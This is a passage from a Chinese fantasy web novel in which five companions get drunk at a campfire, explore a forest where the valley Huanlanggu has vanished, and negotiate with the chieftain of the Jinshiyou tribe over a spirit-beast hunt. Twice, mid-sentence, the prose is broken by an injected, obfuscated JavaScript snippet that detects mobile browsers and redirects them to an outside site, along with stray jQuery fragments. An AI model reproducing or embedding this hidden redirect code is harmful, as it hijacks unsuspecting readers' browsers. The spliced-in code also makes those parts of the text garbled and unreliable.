马车暂时被放置在一处,他们只带了马儿们继续前进,正式进入上饶后,云修云和马儿便一同撒了欢儿,跑了个尽兴才拖着一头晚饭回来。 他拉住缰绳,满头大汗,衣襟微乱,头发上还沾了不少草根,但是笑的十分开朗。 云修云翻身跳下马,先到河边洗了把脸。 行愿默默操刀去处理晚饭,云修泽问云修云说。 “猎头羊怎么还把自己搞成这样?” 云修云咕噜咕噜吐出一串水泡,撑着胳膊出水后,像狗崽一样痛快的甩了甩水珠,咧嘴笑道。 “嘿嘿,这里的羊群凶残的很,也不怕人,一堆堆的围上来,险些惊到追云。” 追云在旁边不爽的打了个响鼻。 唐思月递了一张帕子,看他小心翼翼的擦了擦脸。 天盛微站在旁边看行愿动作,听他问话后,就转头冲他们问道。 “怎么吃?” 云修云兴致勃勃的跑过去。 “一整头!一定要烤着吃!” 云修泽泼冷水。 “你有工具?” 云修云就等他问这句话了,瞬间就从玉佩中得意洋洋的掏出了烤架。 “上饶牛羊丰美,自然要做好万全的准备!” 云修泽也真是服了他。 那头羊最终还是如他的愿上了烤架。 羊身为了入味被划开数刀,撒上调料,简单的炙烤就已足够有风味。 星垂旷野,风吹草动,浓郁的香气在这一小片地方逐渐蔓延,火光明暗,映着每个人的脸。 云修泽将那几坛樊芝花酿的酒全都取了出来,拍拍坛身,笑道。 “先生心爱的酒特意分了我们几坛,此情此景,不品鉴品鉴岂不是辜负他老人家?” 云修云第一个响应。 “好!” 他迅速爬起身,拿出几个酒碗,嘿嘿笑道。 “这烤羊粗犷,就不用那些玉杯了,还是酒碗喝的尽兴!” 几人自无不可,很快,云修泽便将酒分别满上,互相递着都拿到了手中。 酒水呈淡红色,酒香中隐隐还能闻出花的香气。 云修泽首先举杯,笑道。 “缘分让我们相识,相合的性情让我们成为挚友,生死磨难,若无你们,我和青玉绝走不到如今,但我们接下来要面对的,是镜双子了,无论结果如何,我还是希望大家以性命为重,希望我们五个能做一辈子的挚友,敬你们!” 云修云也认真的随他将酒碗往前送了送。 唐思月双手托着酒碗,笑道。 “老大开始煽情了啊。” 云修泽失笑。 “配合不配合?” “自然是......” 唐思月将酒碗碰上去。 “紧跟老大的步伐。” 行愿和天盛微也随之而动,五只酒碗在空中一撞,酒水不分你我的混洒进不同的碗中,默契的同时饮下。 “哈——”云修云举着空酒碗低头忍不住发出了嘶哈嘶哈的声响。 “好酒啊!不愧是央玉前辈心心念念的!” 这酒初入口时觉得清苦,咂么咂么又能品出醇厚的香甜。 云修泽抽出一把匕首去分烤羊,笑道。 “今晚这酒管够,先吃点儿东西吧。” 他分出一碟儿递给了天盛微,又给唐思月递,顺便问道。 “思月,你的身体多喝一些酒可以吗?” 唐思月接过,回道。 “无碍,这是灵酒,更何况樊芝花本就是一味药材,性温,对我好处居多。” “那我们今日便大醉一场!”云修泽干脆说道。 说起来,时至今日,除了云修泽,其他几人尚且不清楚彼此的酒量,灵酒又不如凡酒一般可以用灵力驱散醉意,所以当他们发现天盛微喝醉时已经无计可施。 云修云不可思议。 “盛微姐才喝了几碗?” 云修泽神情复杂,不顾她的反对拿走她面前的酒碗。 “三碗吧......” 天盛微一脸严肃,更正道。 “三碗半。” 见她这样,唐思月疑惑道。 “盛微真的喝醉了吗?” 天盛微:“我没有。” 云修泽无奈的制止了她起身舞剑来证明自己没醉的动作,道。 “瞳孔都涣散了,还没醉呢?” 天盛微双眼一眯,颇为不爽。 “是你眼神儿不好。” 云修云在旁边偷笑。 “盛微姐,剑拿错了,你看深流都气成什么样了。” 天盛微低头一看,手中赫然是一根长长的树枝,而深流正在一旁抖个不停。 不知是潜意识里求生欲望强烈,还是当真如此,天盛微强调道。 “我是故意的,你看不出来吗?” 她说着,又挣扎了两下,想拿着这根树枝继续去舞剑,被云修泽好说歹说拦了下来。 “姑奶奶、姑奶奶,剑是假的,灵气可是真的,伤不到我们,这花草树木也属实无辜啊!” “你又是哪个,焉知它们不想看?”天盛微固执。 天盛微现在的反驳欲望尤为强烈,云修泽被怼的无言以对,他总不能说自己也是根草。 唐思月笑得肩膀一抖一抖的,说道。 “盛微醉后竟然喜好抬杠?” 行愿举着酒碗,说道。 “这酒性烈,只是尝不出来。” 说着,他站起身,也有了几分踉跄,坚持走到天盛微身边,在几人不解的目光中,一捏她的后颈,直接将她捏晕了过去。 云修泽接住天盛微,惊疑不定的看着行愿。 “行大哥......?” 这个莫不成也醉了? 行愿叩了叩面具,确保它还在自己脸上后,就脚步虚浮的挪到了唐思月身边,竟然就此盘腿坐下开始入定。 唐思月如法炮制捏晕了他。 “醉了就好好睡。” 这附近空旷藏不了人,周围也洒了毒粉,用不着如此警惕。 云修泽扭头看,发现七坛酒就破了两坛,还是五人分之,竟然就这么撂倒了五中之二,他咂嘴道。 “以后可不能让他们喝烈酒了......” 云修云简直看傻了眼,手僵在半空中,看着剩下的五坛,一时间不知道该不该接着喝。 云修泽看向唐思月,问道。 “思月如何?还能喝吗?” 唐思月笑道。 “喝倒你们两个应该不成问题。” 云修泽挑眉,云修云担忧道。 “你当真没事吗?可千万不要逞强。” 唐思月将酒碗往前递了递,云修泽给她满上,她笑的狡黠。 “不信?来试试?” 事实证明,唐思月永远不说空话。 云修云胡言乱语的倒下瞬间入睡,云修泽也 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“老大,你醉了,快睡吧,我守着你们。” 一曲毕,唐思月的手放在琴弦上,头也不抬的温声劝说。 云修泽沉沉睡去,在意识消失的前一刻,他想,今夜酩酊大醉,此生,不会再有第二次了。 翌日,云修云最先醒来,他面容呆滞的看着已经空了的六个酒坛,再看看身边,云修泽、天盛微和行愿睡得十分整齐,自己若没起来,恐怕也是排排躺中的一员。 他掀开盖在身上的薄被,扭头在附近看了一圈儿,并没有看到唐思月的身影,正当他准备去附近找找时,唐思月才抱着一个酒坛施施然出现。 云修云还没有完全清醒过来,看着她怀中的酒坛,脑袋不知怎么的抽了一下,震惊的问道。 “你喝到现在?” 然后喜提了一把痒痒粉。 唐思月把酒坛放下,和善的笑道。 “这里面是水,你也赶紧去一趟河边吧,洗洗身上的药粉,顺便把脑子里的水也倒回去。” 他们这里离河不远,她刚刚是去了趟上游才没被云修云看到。 云修云被痒的抓耳挠腮,闻此,不敢怒也不敢言的飞快跑走了。 剩下的三个人也陆陆续续的醒来,看到唐思月在旁边蹲着,不知在折腾什么,云修泽愣了愣,问道。 “思月,你在做什么?” 唐思月回头,笑道。 “你们醒了?我想做点吃的,正好还不知道做什么,你们想吃什么?” 听她说要做饭,云修泽鸡皮疙瘩都起来了,连忙上前夺了她手中的东西,讪笑道。 “不用了不用了,你也累了,去休息吧!” 天盛微和行愿明显还在状况外,天盛微揉了揉后颈,问道。 “发生了什么?” 行愿也在揉:“你喝醉了。” “那我为什么脖子疼?”天盛微疑惑。 行愿心虚的扭过了头。 “而且。”天盛微迷茫的站在原地。 “深流为什么在生气?” “啊!你们都醒了!” 云修云从河边回来,又是一个干净清爽的少年郎。 他凑过来,幸灾乐祸的说道。 “盛微姐,你忘了?昨晚你可是把一根树枝当成了深流啊!那根树枝哪有我们深流神气貌美!” 深流难得不再高冷,飞过来贴了贴他的掌心以表赞许。 天盛微一顿,含混的记忆碎片突然涌入了脑海中。 她好像......还真的这样干了? 于是一大清早,他们便乱做了一团。 追着剑哄剑的,推让着做早膳的,头还是很疼,疼到撞树的,以及幸灾乐祸过了头,被酒坛绊倒,摔得几里咣啷的。 只有马儿们一片祥和。 等到他们收拾完再次上路,已经是辰时过半。 他们向西北方走去,一路上少有人烟,离他们想去的地方越近,人就越少,可是忽然有一天,云修泽在一个山坡上,望见了远处形制古朴的部落。 这里的植被跟之前一路上遇到的已经大不相同,许多连名字他们都叫不上来,十分旺盛密集,就连那些部落的人也全都是异族。 按照之前在计都了解到的情况,环琅谷方圆,几乎全是异族部落,他们分布很广,团结又很排外,领地意识十分强烈。 总之,找到他们,便是找对了地方。 云修泽合上地图,说道。 “我们先自己找找看吧。” 实在不行再去找他们打打交道。 几人再次纵马,云修泽面无表情的想到,镜双子,已经近在咫尺。 104. 雾讫三 “按照地图上环琅谷的位置,就在那里了。” 云修泽指着前方,几人顺着看过去,只看到了一片一望无际的森林。 这个差的可不是一星半点儿,他们凑在一块儿研究那张地图,发现还真就是那片森林的位置。 云修泽本以为所谓的环琅谷消失,是直接留下了一大片空地,没想到却还有森林取而代之。 “走吧,我们先进去看看。” 云修云坐在追云身上,随着它的步伐晃来晃去,随口猜测道。 “你们说会不会是镜双子画错了地方?” “可能性很小。”天盛微回道。 整片森林都是同一树种,只是他们并不认识,树上也没有果子和花,但每一棵树都生机勃勃,翠绿苍劲。 云修泽靠近仔细看了下,说道。 “这树至少有三四十年的树龄了。” 也就是说,从环琅谷消失的那一刻,它们应该就在这里了。 “你们有感觉到哪里不对劲吗?”他回头问道。 几人细细感受了下,并没有察觉什么异常,这片森林浑然天成,一点被人动过手脚的痕迹都感知不到。 这树不是幻术,是真实存在的,森林也不是结界,如果是靠人或者灵物维系的,那也不可能持续那么长的时间还没有丝毫减弱。 云修泽冷静的环视,如果这么猜测的话,那问题很可能就是出在了树上。 “思月,你涉猎广泛,可知道这是什么树吗?”他忽然问道。 唐思月摇了摇头。 “我也不知道,想知道的话,可能还是要问生活在这里的人。” 云修泽若有所思,片刻后,说道。 “先在这里面转转吧。” 马儿们被他们放在了森林外,他们运起轻功自己进入了这片森林。 森林内并没有他想象的那般死寂一片,反而生灵颇多,十分热闹。 一切都很正常,只是...... 云修泽刹住脚步,后面的几人也唰唰唰停在了他的身边。 云修泽打量着周围,脸色不算太好看。 “你们有没有觉得这里很熟悉?” 云修云踢了踢脚边的石子,茫然道。 “没有啊,这花草什么的都不一样啊,哝,那儿还有个坑呢,咱们要是来过,怎么可能没印象?” 他抬了抬下巴,示意他们看那边石头下面的深坑。 他说的的确在理,旁边,天盛微忽然道。 “树是一样的。” 几人一惊,再仔细一看,顿觉不寒而栗。 这里的树的确跟他们刚刚经过的一片尤为相像,很多细枝末节也能够一一对应,如同复制体一般又一次出现在了他们面前。 “这是......怎么回事?”唐思月迟疑的拢了拢胳膊。 云修泽看着她笑了一下。 “别怕,这不是什么陷阱。” 他们在森林里已经待了快一日,已经经过了不少同样的地方,如果是陷阱,根本不用等到现在,从土地看来,他们也不是在一个地方一直打转,只要想出去,花些时间还是可以的,只不过是又一次印证了他的猜想。 “好吧,看来咱们自己找是找不到了,还是得接触一下这里的原住民。” 他把地图拿出来,几个人围着坐下,看他在上面几个地方分别点了点。 “我来之前了解过了,这些异族的势力大小不一,最古老最厉害的一共三个,有些消息,如果他们不知道,问其他部落也没什么意义。” 他指尖落在圆圈周围。 “靠这里最近的是赫尔族,他们勇猛好战,靠狩猎为生。” 手指位置变换,指在一条大河附近。 “这里的是吉勒塔族,他们的性情在三族中算是最平和的了,主要靠编织和渔业为生。” 最后,他又指了指山脉附近。 “离这里最远的,就是金氏尤族,他们较为刚硬,不善变通,冶炼的铁矿在六洲中十分受欢迎,只不过没人知道出自他们。” “既然受欢迎,也没人查过来吗?”云修云问道。 云修泽说道。 “他们和通神阁合作,通神阁自然会保护他们。” 云修云点头。 “原来如此,那我们去找他们?” 云修泽摇了摇头,说道。 “他们不会因为通神阁给我们面子的,往年交易,通神阁的人也不会来这里,都是在一个折中的地点,金氏尤很排外,多少年了,通神阁套近乎都没套成功过。” 云修云‘噫’了一声。 天盛微说道。 “那,吉勒塔?” 这回云修泽点头表示了肯定。 “不过也不能直接去,毕竟性情平和也只是相对来说,还是要想个法子。” 唐思月提议说道。 “他们生活在这里,也不像金氏尤族一样和外面的人有往来,其他各洲的东西一定很少见到,可能会有兴趣?” “的确有这个可能。”天盛微道。 云修泽:“大家身上都带了什么?” 看着几个人一股脑的往外掏东西,还边掏边碎碎念念的清点,云修泽莫名有种熟悉感。 天盛微很默契的和他想到了一处。 “那次拍卖会也是这样。” 云修云百忙之中抬起头,扯着嘴笑道。 “是哦!不过那次掏的是钱哈哈哈!” 相似的场景,心境和关系却早已不同,云修泽看着看着,嘴角却慢慢平了下去。 他们将东西分门别类,分成五份分别装好。 云修泽思索道。 “还得想个不突兀的法子和他们搭上关系......” 行愿突然直起身子,警觉的朝某处看去。 他的异样引起了几人的注意,瞬间安静了下来。 云修泽耳朵动了动,是打斗声。 “走,我们去看看。” 他们顺着声响传来的方向悄声前进,半刻左右就到了地方。 只见几个人将一只大猫围在中间,那大猫身上盖着一张捕兽网,似乎是他们的战利品。 它通身呈淡金色,没有如何挣扎,连一点声音都没有发出来,前肢受了伤,分明已经是一副无力挣扎的模样,围着的几人却一直谨慎的没有上前,只在周围不断的钉着带有特殊花纹的木钉。 “这是灵兽。”唐思月说道。 那大猫身上有灵气溢出,木钉看着也不是什么寻常之物。 云修泽在高处打量着那几个异族人,他们每个人都手持长矛,拱卫着中间一个年轻人,按照他们的服饰气度来看,只怕这个年轻人的地位不低。 云修云:“在森林中狩猎,赫尔族吗?” 云修泽低声道。 “赫尔善重弓,看他们腰间装饰用的精矿,应该是金氏尤族。” “他们不善狩猎,那么少的人还敢来捕灵兽?”云修云疑惑。 不管是什么原因,那只灵兽后肢在他们看不到的地方悄悄挪了挪,是一个蓄力的姿势,它力竭的模样绝对是装出来的,看着那个年轻人放松了警惕朝它靠近,云修泽便知道,机会自己送上门儿了。 与此同时,天盛微果断道。 “上!” 瞬息之间,灵兽撕裂了捕兽网,凶悍的朝那个年轻人冲去,他露出惊骇的表情,可实在是靠的太近了,没有办法逃开。 他在最后的时刻将手中的长矛对准了灵兽的方向,做好了与它同归于尽的准备,却在一阵狂风过后,不见了灵兽的身影,取而代之的是五个异族人。 云修泽握住刚刚回来的褚闲,扭头去看天盛微,深流也回到了她的身边,她摇了摇头。 那大猫行动如风,交手不过一个间隙,就消失的无影无踪。 “你们,哪里来?” 云修泽五人转身,见那年轻人早已和族人退到了安全的地方,有点警惕的看着他们。 云修云双手枕在脑后,挑眉道。 “我们可是救了你一命,你不感谢我们就算了,还质问我们?” 那年轻人身边一个看起来愣头愣脑的小少年马上叽里咕噜说了一堆,发现云修泽五人根本听不懂后,才涨红了脸,掷地有声但声调古怪的喊道。 “细作!” 这下别说云修云,就连云修泽都被他雷了一下。 “小兄弟,哪有人会用如此显眼的人做细作啊。” 他们五人,一个戴着面具,一个戴着面纱,露脸的三个也是各有各的出众,无论身量衣饰还是佩剑,哪一个都不符合细作的条件,就这样还被说成细作,当真是冤枉。 那少年将他们打量一番,也很困惑,还想说什么,被那个年轻人伸手拦了下来。 “你们救了我的命,我要谢谢你们。” 他面无表情的问道。 “你们哪里来?做什么?” 他虽说着要感谢他们的救命之恩,但态度仍然冷硬,云修泽暗暗将他们每个人打量一遍,尽可能无害的说道。 “我们来找个地方,但是迷路了,碰巧路过这里才救下了你,这位兄弟若是想报恩,不妨为我们指个明路。” 年轻人问道。 “你们要找哪里?” 云修泽背在身后的手指搓了搓,说道。 “环琅谷。” 金氏尤族常年和通神阁往来,对普通族人来说,他们的话虽不会说,但大抵也都听得明白,此时听了他们要找的地方,一些人表情困惑,还有一些看他们的眼神越加警惕。 云修泽将他们的反应收入眼底,年轻人深深的看了他们一眼,转身说道。 “跟我们来。” 如此强硬,完全没有给云修泽几人拒绝的选择。 他下了令,那些族人便自动分为两拨,一拨在他们身前,一拨在他们身后,将他们夹在中间赶路,这是不信任的表现,但也正常。 这么简单就答应了?云修泽诧异,不对,这么简单就能找到吗? 记载中,环琅谷早已消失,这些周边的古族应该也并不知道它的踪迹,或者说他们真的知道什么,却一直当做秘密保存了下来吗? 如果真是那样,一次救命之恩,就能够让他不请示任何人,直接将秘密告诉他们? 云修泽不露声色的跟他们前进,眼中却一直透着思索。 不,这不可能。 天盛微悄悄凑过来,两个人的手在他们的视线之外重叠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510802|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,云修泽目不斜视的在她掌中画了一个圆,又很快打了一个叉。 他们要带他们去的绝不是环琅谷。 天盛微将手掌收拢成拳,装作不经意的模样在身后比了个手势。 后面的三人见到,心中了然,将警惕暗藏在了心底。 虽说他们有救命之恩在身,此行应该不至于对他们不利,但多些戒备,总归是有备无患。 几人跟着这些金氏尤族一路走,他们似乎是在原路返回,一路上遇见了不少他们族人的尸骨,全都被他们默默收敛了起来要一同带走。 看来他们并不是自大,那么点人就来围攻灵兽,而是队伍损失的只剩了他们这些人。 他们走了相当长的一段距离,才在远处的山脚附近看见了火光。 竟然是直接把他们带到部落里来了? 看见年轻人回来,守在部落门口的人立马迎了上来,本是一脸喜意,但察觉到云修泽几人的存在后,又立马换了副嘴脸。 那年轻人与他们说了一通,就转过来对他们说道。 “你们,等在这,不要跑。” 他虽然会说他们的话,但不知有意无意,听起来总像威胁。 得到云修泽的承诺后,年轻人就转头带着人进了部落。 周围还有人在盯着他们,云修云想要传音,灵力微不可察的凝聚,被云修泽敏锐的打散,轻轻摇了摇头。 云修云不解,但也听话的没再尝试。 不多时,年轻人重新回来,后面跟着的人抬了三个很重的箱子,依次放到了他们面前,打开给他们看。 一箱是六洲人喜爱的物件,金银器皿、珠宝首饰,应有尽有。 一箱是上饶特有的灵草宝物,品相都是极好的,拿出去也必然能得个高价。 最后一箱则是金氏尤族的矿石,各色各样,居然还饱含灵气。 年轻人指了指它们,说道。 “谢谢你们的。” 就是说,救命之恩,要以这些偿还。 云修泽垂眼看着这些不可多得的好东西,忽然扬起笑,说道。 “多谢兄弟好意,只是我等跋山涉水来此,实在是有事情要做,这些就不必了,还是请兄弟给我等指条路,我等马上就走。” “嫌少?”年轻人疑惑。 重点抓的真好。 云修泽面色不动,心中腹诽。 “非也,我等并非挟恩图报之人,不如这样,兄弟可否方便让我们见一见你们族长?” 年轻人眼中顿时透露出怀疑,语气生硬的指着那三箱东西说。 “这些给你们,拿着走吧!” 说着,他就转身想要离开,云修泽连忙加大了些声音,问道。 “我们并没有恶意,你拿这些我们不需要的东西来为自己报救命之恩,不觉得既轻贱了自己,又没诚意吗?” 年轻人脚步一顿,诚实的说。 “不觉得。” 云修泽:“......”就说他最不擅长应付这种人。 见他仍然要走,云修泽再次提议道。 “这样如何?你让我们见见族长,我们帮你抓刚刚那只灵兽。” 年轻人终于停下了脚步,回头看着他们,思索了片刻,说道。 “你们不要跑。” 云修泽这次没有出声阻拦他回去,并且已经开始逐渐习惯他的‘威胁’。 一刻过后,年轻人回来了,这次身后跟着的是一群手持长矛,腰别铁锤的壮汉,他们像刚刚赶路那样分为两拨将他们围了起来,年轻人说道。 “走,去见图堪。” 他们走进这个部落,瞬间就受到了所有人的注目礼,无论原本在做什么,气氛多么的温馨欢乐,看见他们,都会面无表情的紧紧盯着,直到他们消失在他们的视线中。 那种带着微妙敌意的眼神从四面八方凝聚来,纵使几人有过不少万众瞩目的经历,也难免觉得心中发毛,便不自觉的走的越来越近。 云修泽问年轻人道。 “还未请教兄弟名姓。” 年轻人:“多罗尔·羌元。” “羌元兄。”云修泽笑道:“敢问图堪可是族长之意?” 多罗尔:“对,不喜欢兄,我叫多罗尔。” 云修泽顺畅道:“多罗尔。” 多罗尔满意的点了点头。 他们来到了部落最中心的房子,掀开帘子,就见一个脸上满是络腮胡的中年壮汉坐在羊皮椅上。 多罗尔上前右手握拳敲了敲左肩,道。 “巴兰,他们救了儿命,不要箱子,问神女谷。” 云修泽心到,果然猜的没错,这多罗尔不仅地位高,而且还是族长的儿子,不过他说神女谷?他们是这么叫环琅谷的? 那族长目光很有压迫感,扫过他们,云修泽低了低头以表尊敬。 “族长。” 族长点了点头。 “来打听神女谷的人很多,你们虽然救了我儿,但这里是我们的土地,有关这里的一切,我都不会透露给你们,不要再问了,你们......” 他说着说着,忽然停了下来,目光紧紧盯着云修泽的腰间,直起身子,指着问道。 “这个,你们哪里来的?” 105. 雾讫四 他的眼中并无恶意,更多的是惊讶,这种反应让云修泽暗中勾起了嘴角。 这些异族第一时间就让他想到了森阳关的赛摩族,想到了那个老族长给他的信物,玉鸣鸟的挂饰。 老族长当时说,他们和一些古老的部族尚有一些交情,虽不知他说的部族里是否包含这三族,但他仍然提前戴上了这个挂饰,可多罗尔对此并没有什么反应,他本以为用不上了,没想到竟然在他们族长这里有了意外的收获,而他这个反应,不正是说明猜对了吗? 云修泽装作不知情的模样,用手托起了那只玉鸣鸟。 “族长可是问这个?这是我们之前帮过别人一些忙,从他们那里收到的赠礼。” 族长看着那只玉鸣鸟由红松石所制的眼睛,知道事情并不像他们说的那么简单,这是赛摩族族长的信物,一般来说,只有对他们有天大的恩情才会送出。 他看云修泽几人的眼神与刚才截然不同,他盯着云修泽,问道。 “赛摩族的老族长是什么模样,你们还记得吗?” 云修泽知道这还是一种试探,坦荡的回道。 “老族长和所有的赛摩族一样,肤色较黑,瞳色有异,头发已经全白了,有一根很长的拐杖,身体康健,是位慈爱的老人家,您既然识得这个,应该是他老人家的旧识,我们代他向您传达一份问候。” 他再次低了低头,以晚辈的姿态如此说着。 族长在他说的过程中,态度和缓了不少,点头道。 “他还健康,太好了。” 说完,他就兀自陷入了沉思,片刻后,问道。 “我儿说,你们答应帮他猎兽?” “是。” 族长站起身,道。 “那这样,你们就和我儿分开,你们如果比他先猎到,我就告诉你们神女谷的事情,时间是五天,记住,你们在追猎的过程中,不能伤害树木,怎么样?” 云修泽心中一动,问道。 “敢问族长,那树木可是有异?” 族长摆了摆手,道。 “你们今夜住在这里,狩猎从明天开始,剩下的让我儿告诉你们。” “多罗。”他喊道。 多罗尔:“是。” “带他们出去。” 多罗尔看向他们,说道。 “跟我走。” 居然会让他们在这里留宿?云修泽看向族长,见他背过了身,绝了继续交谈的想法,便带着几人跟多罗尔走了出去。 多罗尔带着他们去了另一个住处,离刚才他们和族长谈话的地方就只有不足百步的距离。 金氏尤族依山而建,房子都是用硬度很高的石头建成,模样古着,很有特色。 进了房中,多罗尔四处看了看,说道。 “你们就住这里,明天我出发会叫你们。” 他掀开帘子探头出去,叫人抬了一筐鲜红色的果子来,回来说道。 “那兽叫靡靡,胆小,速度快,好奇心强,数量少,出来活动不分白天晚上,但很难发现,而且它们很强,我们只知道它们喜欢这种果子,所以用来诱捕,这框给你们。” 云修泽瞥了一眼那筐果子,对多罗尔问道。 “不知这五日之期可有什么说法?可是过了这个时间,靡靡兽便不再出现了吗?” 多罗尔犹豫了片刻,解释道。 “我阿姊五日后成婚,这兽为大宴准备。” 原来如此,怪不得他们会去狩猎这么稀少又难以捕捉的灵兽。 “那树呢?”云修泽问道:“族长特意叮嘱,可是有什么缘故?” 他的目光沉沉,盯着多罗尔,不放过他脸上任何一丝微妙的变化。 但不知是刻意防着他们,还是此人天生面瘫,至今为止能从他脸上看出来的就只有疑惑和警惕,就连刚刚的迟疑都淡的好像是他们的错觉,此时也是如此,他语调平平的回道。 “神女树,去砍的人都没回来,不知道为什么,不让你们碰,为你们好的。” 他顿了顿,又接着补充道。 “靡靡,也要活的。” 都没回来?云修泽眼底一暗,心道,那树果然有问题。 而云修云不知想到了什么,恶寒的搓了搓手臂,庆幸刚刚他们没有贸然对那些树做些什么。 多罗尔对天盛微和唐思月说道。 “你们,跟我走,分开住。” 男男女女,不应该住在一起。 他本是好意,天盛微却自认委婉的拒绝道。 “不必,多谢。” 见他似有困惑,唐思月打圆场道。 “修法之人,睡眠不是必需,这里太过陌生,我们还是想待在一处。” 多罗尔明白了,六洲女子和他们部落的有所不同,听说娇弱的很,在陌生的环境容易受到惊吓,他深以为然的点点头,那就放他们在一起吧,可别被他们给养蔫了。 “明早见。”他短暂的道别后就掀开帘子离开了这里,这个房子周围没有什么守卫,现在只有他们五人。 他们总算放松了一些,找地方坐下来。 云修云甩了甩脑袋,问道。 “不是说排外吗?怎么还让咱们住到最中间来了?这时候又不怕我们是细作,晚上暗杀他们族长了。” “就是因为排外啊。”唐思月倒了杯水,回道。 “这里虽没人看守,但却常常有人巡逻,把咱们放在外围,那岂不是想跑就能跑了?况且他们族长估计也不住在刚刚那里。” 她说的有道理,云修云想了想,刚刚那个地方的确更像是他们的议事堂,虽然有可供休息的地方,但并没有什么使用的痕迹。 他转头问道。 “哥,你刚为什么不让我传音?” 云修泽正在观察这个房子,手在墙壁上抹了一下,指腹便沾上了细腻的白灰,听他问话,头也不回的回道。 “他们守着一座矿山,外人不知道这里便罢了,你觉得为什么其他的异族不会来争抢?尤其是好战的赫尔族,哪怕不会冶铁,转手卖出去也能换来不少东西。” 云修云迟疑,云修泽接着说道。 “赛摩族就是一个例子,这些异族,我们不知道他们的血脉来源在哪里,也不清楚他们有什么能力,万一他们对灵力波动十分敏感,当着他们的面传音,无疑就是在挑衅这个本就极度排外的种族。” 云修云咂咂嘴,心虚的辩驳。 “不是有赛摩族族长的信物吗?再不济,咱们还跑不了吗?” 云修泽摇了摇头没有说话,唐思月接道。 “老大这个信物已经戴了一路了,多罗尔一点反应都没有,也就是说在这个族群中,除了他们族长,可能根本没人认识,如果咱们在见到族长之前出了什么乱子,人家肯定不会手下留情,而且......” 她伸手捏了捏云修云的脸颊,说道。 “人外有人,山外有山,对于未知,永远不要轻敌,好吗阿云?” 云修云低落下去,可怜巴巴的,好像能让人幻视有一双耳朵和尾巴跟着他一同垂下去。 云修泽腰上的挂饰,在森林中出手之前就已经挂上了,他注意到了,但没有多想,其实很多事情他自己多动动脑子也能想明白,但是在他们身边,尤其是大哥在的时候,他更习惯于听从。 他笑嘻嘻的按住唐思月的手,脸颊在她手心蹭了蹭,撒娇一般讨饶道。 “哎呀,我错了嘛,因为有你们在身边我才这样,我保证下次一定好好想想再行动!” 这本就是一段很小的插曲,在他们之间常常上演,本来到了这一步就该风平浪静的被揭过去,可这次云修泽却出乎意料的不依不饶。 他上前用力捏过云修云的下巴,制止了他对唐思月撒娇耍赖的行径,冷冷的说道。 “我们不会永远都在你身边,你如果学不会独立判断,学不会面对分别,明天就给我滚回家去。” 说完他就甩开了手。 云修云愣愣的看着他,剩下的三人也对他突如其来的发难感到困惑。 唐思月被惊的张了张嘴,见云修云愣住不动,伸手摸了摸他下巴上被云修泽掐出的红印,难得露出不赞同的表情。 “老大,你这是做什么?有什么话不能好好说吗?” 行愿也围了过来,站在两兄弟身侧,他们再有什么动作,也方便制止。 天盛微捏上云修泽的大臂,蹙着眉无声的询问。 云修云的眼睛一眨不眨的盯着云修泽,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516667|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实他从一开始就想过他哥可能会因为什么事生气而让他回家,可森阳关那次他都没有说这样的话,没想到是到了只差临门一脚的时候,因为一句无心之言,听到这句话。 委屈被关在心里,却从不够严密的缝隙中挣扎着渗透,化为漫溢的泪水,浸湿了他的脸颊。 “我......”他无措的嗫嗫出声,声音被挤压的没有一点生存的空隙,随着身体一起细密的颤抖。 云修云是个天性乐观热情的少年,他就像个一点儿都不安静的小太阳,无论遇见什么事,他都好像能笑着说没有关系,上次在森阳关他虽然也难受,但到底也没有真的挤出点眼泪,这次却因为云修泽的一句话开始决堤。 他哭都不敢放肆,止不住的抖着,不断吞咽着声音,像是生怕再惹云修泽生气,这副模样让天盛微都开始揪心,更别提唐思月和行愿,三人不善的看向云修泽,而作为罪魁祸首的云修泽又何尝不心疼? 他胸膛的起伏明显变大,两息过后,颓败的松懈了下来,似乎是被云修云感染,神情也有了几分哀伤。 他动作温柔的抹去了云修云脸上的泪痕,手绕到他的脑后,将他按进了自己的怀中,低声道着歉。 “是哥着急了,别哭了小花猫,欠你一次行不行?嗯?你想让哥做什么都行。” 云修云在他怀中抖的不成样子,衣服被他死死抓着,只怕松开也全是皱痕,他呜咽出声,半晌才抽抽搭搭的讨价还价。 “......两......次。” 云修泽被他逗笑了,捏捏他的耳朵,说道。 “好,听你的,两次就两次。” “那......三......” 云修云试图抓住这个好机会,耳朵上那只手的力道却有了加重的趋势,云修泽和善的威胁道。 “准备开染坊了?” 云修云登时安静如鸡。 两兄弟和好,其他三人松了口气,天盛微责怪的拿手肘怼了怼云修泽,云修泽自知理亏的受着,看云修云从他怀中出去,被唐思月心疼的抱了过去。 云修泽想了想,说道。 “思月,明天一早我们就要走了,那果子你仔细看看,最好能找出它吸引靡靡的原因。” “好。”唐思月松开云修云,行愿及时将那框果子搬了过来,唐思月拿了一个放在手中仔细端详,闻了闻,迟疑说道。 “我好像在一个残本中看到过它,色泽均匀,鲜红如血,香气馥郁,内含灵气,实为......剧毒。” 剧毒! 几人心中一惊,天盛微动作迅速的将它从唐思月手中拿开,云修云则握上她的手腕,紧张的盯着她,唐思月愣了愣,笑道。 “没事,只要不吃就不会中毒。” 几人这才松了口气,唐思月继续猜测道。 “靡靡居然喜欢吃这个,是对毒有需求吗?” 云修泽想起那只大猫,说道。 